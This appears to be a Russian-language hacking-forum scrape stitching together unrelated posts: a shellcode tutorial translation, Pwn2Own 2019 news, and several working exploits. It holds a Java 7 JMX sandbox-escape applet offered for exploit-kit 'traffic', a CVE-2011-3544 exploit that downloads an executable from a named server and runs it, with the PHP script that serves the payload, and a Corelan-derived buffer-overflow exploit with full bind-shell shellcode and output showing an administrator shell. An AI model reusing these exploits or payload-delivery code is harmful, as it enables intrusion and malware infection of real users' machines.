2. В C/C ++ легко вызвать функцию. Мы указываем компилятору директиву #include <имя> для использования определенного хидера и вызываем функцию по ее имени. Компилятор и линкер делают всю работу за нас: они находят адреса функций в библиотеках, добавляя их к нашему проекту, позволяя не задумываться о том, что "скрыто под капотом".
![](/proxy.php?image=https%3A%2F%2Fkpmgsecurity.files.wordpress.com%2F2015%2F10%2Fimport-
user32-messagebox.png%3Fw%3D636%26h%3D302&hash=1b93cd1cda0e1d1bf4ea678c82e19516)
В шеллкоде такой халявы нет. Мы не знаем, загружена ли DLL, содержащая нашу
функцию, в память, и мы не знаем адрес нашей функции. Теоретически, можно
посмотреть адреса функций на своей ОС и заранее записать их в шеллкод. На
практике, эти адреса отличаются от версии к версии винды, даже от сервиспака к
сервиспаку. Кроме того, в версиях выше ХР (т.е. , можно сказать, везде)
существует такая вещь, как ASLR (рандомизация адресного пространства), которая
загружает системные DLL каждый раз по новому адресу.
Т.е. мы должны загрузить DLL в память и найти необходимые функции непосредственно из шеллкода. К счастью,в WinApi есть две полезные функции: LoadLibrary и GetProcAddress, которые мы можем использовать для поиска адресов наших функций.
3. Нуллбайт, как можно понять из названия, имеет значение 0x00. В языке Си строка это просто набор символов (а не тип, как в некоторых других языках), соответственно, конец строки обозначается сугубо нуллбайтом и неизвестно наперед. Т.е. большинство строковых функций работают по принципу - перебираем посимвольно массив байт, пока не найдем нулл-байт. Соответственно, если в шелл-коде будет нулл-байт, строка не скопируется целиком, и ваш код не выполнится как надо (скорее всего, вообще никак не выполнится).
Посмотрите на этот код:
Code:Copy to clipboard
mov eax,0
xor eax,eax
Эти инструкции эквивалентны по результату (обнулить регистр еах), но первая в бинарном коде содержит нулл-байты, а вторая - нет. Еще, существуют варианты, когда в шеллкоде не должно быть символов переноса строк, табуляций и подобного.
Различия Windows и Linux
Проще писать шеллкод для Linux, по крайней мере, в целях обучения. Это связано
с тем, что в Linux можно использовать системные вызовы (syscall), такие как
write, execve или send, с помощью прерывания 0x80 (как в DOS, или просто
воспринимайте это пока как "вызов функции").
В качестве примера, базовый "hello,world" шеллкод в Linux требует следующих
шагов:
Укажите номер системного вызова (например,"write")
Укажите параметры syscall (например, stdout, «Hello, world», length)
Вызовите 0x80 для выполнения системного вызова (syscall'a)
В конечном итоге это будет эквивалентно коду на Си: write(stdout, "Hello, world", length).
В Windows это сложнее. Для создания надежного шеллкода необходимы более необходимые шаги.
Получить базовый адрес kernel32.dll (она всегда загружена в процесс)
Найти адрес функции GetProcAddress
Использовать GetProcAddress, чтобы найти адрес функции LoadLibrary
Использовать LoadLibrary для загрузки DLL (например, user32.dll)
Использовать GetProcAddress, чтобы найти адрес функции (например, MessageBox)
Указать параметры функции
Вызвать функцию
Продолжение следует..
Spoiler: Примечание
Это свободный перевод статьи <https://securitycafe.ro/2015/10/30/introduction- to-windows-shellcode-development-part1/> . Вопросы и критику пишите в теме. Для лучшего понимания темы перечитайте базовые основы языка Си, Ассемблер (стековые фреймы, регистры), РЕ формат. Частично эти темы будут рассматриваться в следующих статья х.
В первый день знаменитого соревнования хакеров Pwn2Own 2019, которое проходит в Ванкувере, Канада, специалистам удалось взломать браузер Safari от Apple, а также продукты для виртуализации — Oracle VirtualBox и VMware Workstation. В результате исследователи заработали $240 000.
Общая сумма призовых Pwn2Own этого года составила один миллион долларов. Также можно отметить, что впервые в истории состязания участникам предложили попробовать взломать автомобиль Tesla Model 3. В случае успеха специалисты могут получить до $300 000.
В [первый](https://www.thezdi.com/blog/2019/3/20/pwn2own-vancouver-2019-day- one-results) день соревнования Амат Кама и Ричард Зу из команды Fluoroacetate заработали $55 000 за эксплойт для Safari. Суть метода атаки на браузер от Apple заключалась в переполнении буфера, которое приводило к обходу встроенной песочницы.
Интересный момент в случае атаки Safari заключается в том, что исследователи использовали брутфорс для «побега из песочницы». Те же эксперты получили еще $35 000 за взлом Oracle VirtualBox. Взломать этот продукт удалось лишь со второй попытки. Кама и Зу использовали целочисленное переполнение и «race condition» для повышения привилегий и выполнения произвольного кода.
Эта же пара экспертов успешно взломала виртуальную машину VMware Workstation, что вылилось в возможность выполнения кода в системе-хосте. Общая сумма призовых для исследователей Fluoroacetate составила $160 000.
Еще одни эксперты — команда phoenhex & qwerty — заработали $45 000 за эксплойт для Safari с возможностью повысить привилегии до уровня ядра. Чтобы использовать эту уязвимость, пользователя нужно всего лишь заманить на злонамеренный сайт. На следующий день хакеры попытаются взломать браузеры Mozilla Firefox и Microsoft Edge.
Бьет все ветки jre 1.7. Пробив в 2-3 раза растет. Может кому надо снять сливки пока. & #34; заменить на "
Spoiler: 30
Code:Copy to clipboard
import java.applet.Applet;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder;
import com.sun.jmx.mbeanserver.MBeanInstantiator;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.reflect.Method;
public byte[] hex2Byte(String paramString)
{
byte[] arrayOfByte = new byte[paramString.length() / 2];
for (int i = 0; i < arrayOfByte.length; i++)
{
arrayOfByte[i] = (byte)Integer.parseInt(paramString.substring(2 * i, 2 * i + 2), 16);
}
return arrayOfByte;
}
public static String ByteArrayWithSecOff = "CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F0700200100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F457863657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F7572636546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A656374010001420100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100040009000C00030003000B000000120004000000080004000B0009000C000D000D000C000000160002000D0000000D000E00010000000E000F001000000011000000100002FF000C00010700120001070013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B000000002000B0000000A00020000001000040011000C0000000C00010000000C000F0010000000010016000000020017";
public void init()
{
try
{
byte[] arrayOfByte = hex2Byte(ByteArrayWithSecOff);
JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();
JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null);
MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();
ClassLoader a = null;
Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);
Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);
MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, arrayOfByte });
localClass3.newInstance();
Runtime.getRuntime().exec("calc.exe");
}
catch (Throwable ex) {}
}
}
Вот попалось на глаза интересное на первый взгляд чтиво -
http://www.nostarch.com/bughunter.htm
Никто случаем не читал еще? Мнение?
Сегодняшнее мое повествование пойдет о нашумевшей баге CVE-2011-3544.
Итак, что нам известно:
1. известно что бага позволяет использовать уязвимость для связок эксплоитов
и пробивает она на версиях JAVA 1.6.0 - 1.6.28 и Java 7.0
(if((jver[1]==6)&&(jver[3]<=28)&&(jver[3]>23)) если судить по блекхоллу)
2. известно что два человека написали рабочую версию сплоита. Это xlt и КРЫС.
3. известно что ценник на этот сплоит на текущий момент 5К$
За вчерашний вечер мне постучало два человека и оба на одну и ту же тему. Оба
говорили о этом сплоите, но первый очень желал его заполучить и попробовать на
трафе, а второй решил показать мне эту багу и попросил описать ее суть.
Итак, что же необходимо почитать для понимания о чем идет речь:
Заходим http://schierlm.users.sourceforge.net/CVE-2011-3544.html сюда.
Обращаем внимание на следующие строки:
System.out.println("7 toString returned "+proxy.toString());
Click to expand...
While the guys at Sun/Oracle spent quite a lot of time trying to achieve this, they missed (at least) one way, where you can create a script that returns a (Java) object whose toString method will run any script code in the context of the caller of the toString method.
Click to expand...
toString: function() {" + " java.lang.System.out.println('4 Doing');" +
Click to expand...
вот - строковая функция срабатывает при неявном вызове
Начинаем подготовку к тестам:
На виртуалку качаем java версии 1.6.28 (лично я устанавливал последнюю версию
с сайта. Для запуска локально из консоли она подойдет тоже).
Затем устанавливаем JAVA SDK
(http://www.oracle.com/technetwork/java/javase/downloads/index.html). Он нам
понадобится для работы с нашим модулем.
Для локального запуска нам понадобится прописать pach в системных переменных.
Для этого смотрим куда у нас установился java SDK. В папке bin находим
javac.exe и создаем ярлык с него на рабочий стол. Открываем свойства ярлыка, и
копируем полный путь к файлу.
У меня получился он следующим: C:\Program Files\Java\jdk1.7.0_1\bin
Вписываем глобальную переменную как описано здесь
http://clip2net.com/s/1jtOP или по текстовому описанию:
Windows: заходим в свойства моего компьютера(Win+Break) -> Дополнительно ->
Переменные среды.
В переменную path через точку с запятой выставляем путь к папке JDK/bin.
Создаем переменную JAVA_HOME и записываем путь к JDK.
Перезагружаемся и открываем cmd
пишем с командной строке javac
Если выдало что программа не найдена или не является системной - значит что-то
напутали с глобальной переменной. Вы не там или не так прописали pach.
Если выдало текст от работы программы - значит все сделано верно.
Все готово?
Нет. Нужен сервер с установленным апачем или любым другим вэб-сервером. Нам
нужно будет выполнить php-скрипт и выдать наш exe файл.
На сервер заливаем следующий php файл:
Code:Copy to clipboard
<?php
$file_load = 'cliconfg.exe';
$size = filesize( $file_load );
$fp = fopen( $file_load, "r" );
$source = fread( $fp, $size );
header( "Content-Disposition: inline; filename=".rand( 100000, 900000 ).".exe" );
header( "\r\n" );
header( "Content-Type: application/octet-stream\r\n\r\n" );
echo $source;
?>
Ну и, соответственно, exe-файл с именем cliconfg.exe (можно взять обычный
блокнот и залить на сервер с таким именем).
exe и php файлы должны лежать в одной директории, т.к. пути у нас не прописаны
и скрипт будет искать экзешник рядом с собой.
У меня получилось вот так:
http://dlab.org.in/java.php
http://dlab.org.in/cliconfg.exe
Теперь перейдем к самому вкусному
Создаем папку в любом удобном месте. (я использовал c:\soft)
В ней создаем файлик Main.java
Содержимое файла:
Code:Copy to clipboard
import java.applet.Applet;
import java.io.*;
import java.net.URL;
import javax.script.*;
public class Main extends Applet
{
public static void main(String[] args) throws Exception
{
for(int i=0;i<10;i++)
{
try
{
String s316="http://dlab.org.in/java.php?f=s";
URL localURL = new URL(s316);
localURL.openConnection();
InputStream localInputStream = localURL.openStream();
String str2=System.getProperty("java.io.tmpdir");
if(str2.charAt(str2.length()-1)!='\\') str2=str2+"\\";
String s474=str2+"cliconfga.exe";
String str3=s474.replace("\\","\\\\\\\\\\\\\\\\");
FileOutputStream localFileOutputStream = new FileOutputStream(str3);
int j=0;
byte[] arrayOfByte=new byte[8192];
while ((j = localInputStream.read(arrayOfByte, 0, arrayOfByte.length)) != -1)
{
localFileOutputStream.write(arrayOfByte, 0, j);
}
localFileOutputStream.close();
localInputStream.close();
ScriptEngine engine=new ScriptEngineManager().getEngineByName("js");
Bindings b=engine.createBindings();
Runnable proxy=(Runnable)engine.eval(
"java.lang.Runnable"+
"({"+
"run:function(){"+
"},"+
"toString:function()"+
"{"+
"java.lang.Runtime.getRuntime().exec('"+str3+"');"+
"}"+
"})",b);
proxy.run();
System.out.println(proxy.toString());
i=10;
return;
}
catch (Exception localException)
{
if(i!=9)
continue;
System.out.println(localException);
}
}
}
}
Как видим, здесь забит мой сервер с php-скриптом который мы создавали ранее.
Если разбираться построчно - то
import java.applet.Applet;
import java.io.*;
import java.net.URL;
Подключаем либы необходимы для работы аплета и работы его в сети.
import javax.script.*; подключение рино
Затем начинается метод и цикл. Зачем цикл?
Все просто, в случае ошибки сети, или перегрузки сервера или неправильного
положения звезд на небе мы пробуем выполнить скрипт 10 раз. В случае успеха мы
выходим из цикла.(взято из траста)
Далее объявляем удаленный урл и определяем локальный урл для скачивания файла.
Открываем соединение.
String str2=System.getProperty("java.io.tmpdir"); это стандартныая папка темп
int j=0;
byte[] arrayOfByte=new byte[8192];
while ((j = localInputStream.read(arrayOfByte, 0, arrayOfByte.length)) != -1)
{
localFileOutputStream.write(arrayOfByte, 0, j);
}
localFileOutputStream.close();
localInputStream.close();
Это запись получаемого содержимого в массив байт, затем закрытие коннекта.
"java.lang.Runtime.getRuntime().exec('"+str3+"');"+ это запуск
proxy.run();
System.out.println(proxy.toString()); - а это уязвимость, та самая
Итак, пробуем:
Открываем опять коммандную строку cmd
Переходим в папку с нашим Main.java (cd c:\soft\)
Ну и запускаем java -cp . Main
Секунды через 4 мой exe успешно выполнился на локальной машине.
----------------------------------------------------------------------------------------------------
А теперь, собственно, сам вопрос: почему blakkat (который показал вышеописанное) желает разжевать суть баги? Говорит, что у него есть вариант для браузера, а это только локальное исполнение. И к тому же, на его тестах, по его словам , сплоит оказался лажей полной.
Тем не менее, в блэкхоле и инкогнито сплоит юзается полным ходом. А EL- утверждает, что сплоит идет там с приличным отрывом от остальных.
В беседе со мной XLT говорит, что вышеописанное - полный бред. И крупицы истины тут нет. А еще нужно юзать вторую багу вкупе с этой что-бы запускать бинарник.
Поэтому на ваше усмотрение предлагается обсудить все вышеописанное и найти все-же золотую середину.
p.s. планировал обзором на главной, но чем дальше я в этой истории пытаюсь разобраться тем более мутные нюансы возникают.
Автор : Peter Van Eeckhoutte (corelanc0d3r)
Перевод : p(eaZ
9/2011
В первых частях руководства, мы обсудили некоторые общие уязвимости, которые могут привести к двум типам эксплойтов: стековое переполнение буфера (с прямой перезаписью EIP), и буферное переполнение с использованием SEH chain. В моих примерах я использовал Perl, чтобы продемонстрировать, как создать рабочий эксплойт.
Очевидно, написание эксплойтов не ограничивается одним лишь Perl. Я
предполагаю, что для этих целей может быть использован любой из языков
программирования…
Однако, не зависимо от выбора языка эксплойт будет работать исправно, но может
и лучше если включить его в состав Metasploit Framework и использовать в своих
интересах некоторые из уникальных особенностей Metasploit.
Поэтому сейчас я собираюсь объяснить, как переписать свой эксплойт в качестве модуля для metasploit.
Модули Metasploit пишуться на Ruby. Но даже если вы не знакомы с Ruby, вы сможете написать модуль для своего эксплойта, прочитав данную часть руководства.
Типичный модуль эксплойта в metasploit состоит из следующих компонентов:
Вы можете помещать комментарии в свой metasploit модуль используя символ #. Это все, что мы должны знать на данный момент, а теперь давайте пошагово рассмотрим построения модуля для нашего эксплойта.
Шаг первый: создание эксплойта для простого уязвимого сервера
Мы будем использовать следующий уязвимый сервер, написанный на C:
Code:Copy to clipboard
#include <iostream.h>
#include <winsock.h>
#include <windows.h>
//load windows socket
#pragma comment(lib, "wsock32.lib")
//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0
void pr( char *str)
{
char buf[500]="";
strcpy(buf,str);
}
void sError(char *str)
{
MessageBox (NULL, str, "socket Error" ,MB_OK);
WSACleanup();
}
int main(int argc, char **argv)
{
WORD sockVersion;
WSADATA wsaData;
int rVal;
char Message[5000]="";
char buf[2000]="";
u_short LocalPort;
LocalPort = 200;
//wsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);
//create server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);
if(serverSocket == INVALID_SOCKET)
{
sError("Failed socket()");
return SS_ERROR;
}
SOCKADDR_IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;
//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
if(rVal == SOCKET_ERROR)
{
sError("Failed bind()");
WSACleanup();
return SS_ERROR;
}
//get socket to listen
rVal = listen(serverSocket, 10);
if(rVal == SOCKET_ERROR)
{
sError("Failed listen()");
WSACleanup();
return SS_ERROR;
}
//wait for a client to connect
SOCKET clientSocket;
clientSocket = accept(serverSocket, NULL, NULL);
if(clientSocket == INVALID_SOCKET)
{
sError("Failed accept()");
WSACleanup();
return SS_ERROR;
}
int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
{
//receive the data that is being sent by the client max limit to 5000 bytes.
bytesRecv = recv( clientSocket, Message, 5000, 0 );
if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
{
printf( "\nConnection Closed.\n");
break;
}
}
//Pass the data received to the function pr
pr(Message);
//close client socket
closesocket(clientSocket);
//close server socket
closesocket(serverSocket);
WSACleanup();
return SS_OK;
}
Скомпилируйте этот код и запустите на сервере Windows 2003 R2 с SP2. (Я использовал lcc-win32, чтобы его скомпилировать)
Когда мы пошлем 1000 байтов на сервер, он упадет.
Следующий perl-скрипт продемонстрирует крушение:
Code:Copy to clipboard
#!usr/bin/perl
use strict;
use Socket;
my $junk = "\x41" x1000;
# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
print SOCKET $junk."\n";
print "[+] Payload sent\n";
close SOCKET or die "close: $!";
Уязвимый сервер упал, и EIP был перезаписан на строку из A
0:001> g
(e00.de0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e05c ebx=7ffd6000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0
eip=41414141 esp=0012e258 ebp=41414141 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
41414141 ?? ???Click to expand...
Используя паттерны из metasploit, мы определим смещение до перезаписи EIP в 504 байта. Таким образом мы напишем новый скрипт, чтобы проверить правильность выбранного смещения и значения регистров, когда произойдет переполнение:
Code:Copy to clipboard
#!usr/bin/perl
use strict;
use Socket;
my $totalbuffer=1000;
my $junk = "\x41" x 504;
my $eipoverwrite = "\x42" x 4;
my $junk2 = "\x43" x ($totalbuffer-length($junk.$eipoverwrite));
# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
print SOCKET $junk.$eipoverwrite.$junk2."\n";
print "[+] Payload sent\n";
close SOCKET or die "close: $!";
После отправки 504 A, 4 B и связка из C, мы увидим следующие состояния регистров и содержимое стека:
0:001> g
(ed0.eb0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e05c ebx=7ffde000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0
eip=42424242 esp=0012e258 ebp=41414141 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
42424242 ?? ???
0:000> d esp
0012e258 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e268 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e278 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e288 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e298 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e2a8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e2b8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e2c8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCCClick to expand...
Увеличьте размер $junk, чтобы определить, сколько места в наличии мы имеем для шеллкода. Это важно, потому что мы должны определить этот параметр в metasploit модуле.
Измените $totalbuffer на 2000, тем самым, выйдя за пределы, и содержимое ESP покажет, что мы можем заполнить память C-строкой до esp+5d3 (1491 байт). Это будет местом для шеллкода.
Все, что нам нужно, это перезаписать EIP на jmp esp (или call esp, или на что- либо подобное), и поместить наш шеллкод на место C-строки.
Используя findjmp, мы нашли рабочий адрес для нашего сервера Windows 2003 R2 SP2:
findjmp.exe ws2_32.dll esp
Reg: esp
Scanning ws2_32.dll for code usable with the esp register
0x71C02B67 push esp - ret
Finished Scanning ws2_32.dll for code usable with the esp register
Found 1 usable addressesClick to expand...
После выполнения некоторых тестов с шеллкодом, для создания завершенного эксплойта, мы должны сделать следующее:
исключить 0xff из шеллкода
поместить некоторое количество nop’ов перед шеллкодом
Наш заключительный эксплойт на perl, с привязыванием командной оболочки (bind shell), на tcp-порт 5555:
Code:Copy to clipboard
!#usr/bin/perl
#
print " --------------------------------------\n";
print " Writing Buffer Overflows\n";
print " Peter Van Eeckhoutte\n";
print " http://www.corelan.be:8800\n";
print " --------------------------------------\n";
print " Exploit for vulnserver.c\n";
print " --------------------------------------\n";
use strict;
use Socket;
my $junk = "\x90" x 504;
#jmp esp (from ws2_32.dll)
my $eipoverwrite = pack('V',0x71C02B67);
#add some NOP's
my $shellcode="\x90" x 50;
# windows/shell_bind_tcp - 702 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=5555, RHOST=
$shellcode=$shellcode."\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a" .
"\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f" .
"\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35" .
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f" .
"\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31" .
"\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e" .
"\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54" .
"\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b" .
"\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45" .
"\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b" .
"\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b" .
"\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c" .
"\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e" .
"\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36" .
"\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47" .
"\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48" .
"\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56" .
"\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58" .
"\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38" .
"\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56" .
"\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53" .
"\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35" .
"\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58" .
"\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36" .
"\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38" .
"\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46" .
"\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59" .
"\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54" .
"\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57" .
"\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35" .
"\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38" .
"\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59" .
"\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49" .
"\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32" .
"\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a" .
"\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e" .
"\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56" .
"\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a" .
"\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30" .
"\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f" .
"\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30" .
"\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f" .
"\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a" .
"\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50" .
"\x41\x41";
# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
print SOCKET $junk.$eipoverwrite.$shellcode."\n";
print "[+] Payload sent\n";
print "[+] Attempting to telnet to $host on port 5555...\n";
system("telnet $host 5555");
close SOCKET or die "close: $!";
Эксплойт в действии:
root@backtrack4:/tmp# perl sploit.pl 192.168.24.3 200
--------------------------------------
Writing Buffer Overflows
Peter Van Eeckhoutte
http://www.corelan.be:8800
--------------------------------------
Exploit for vulnserver.c
--------------------------------------
[ + ] Setting up socket
[ + ] Connecting to 192.168.24.3 on port 200
[ + ] Sending payload
[ + ] Payload sent
[ + ] Attempting to telnet to 192.168.24.3 on port 5555...
Trying 192.168.24.3...
Connected to 192.168.24.3.
Escape character is '^]'.
Microsoft Windows [Version 5.2.3790]
© Copyright 1985-2003 Microsoft Corp.C:\vulnserver\lcc>whoami
whoami
win2003-01\administratorClick to expand...
Самые важные параметры, которые должны быть взяты из этого эксплойта:
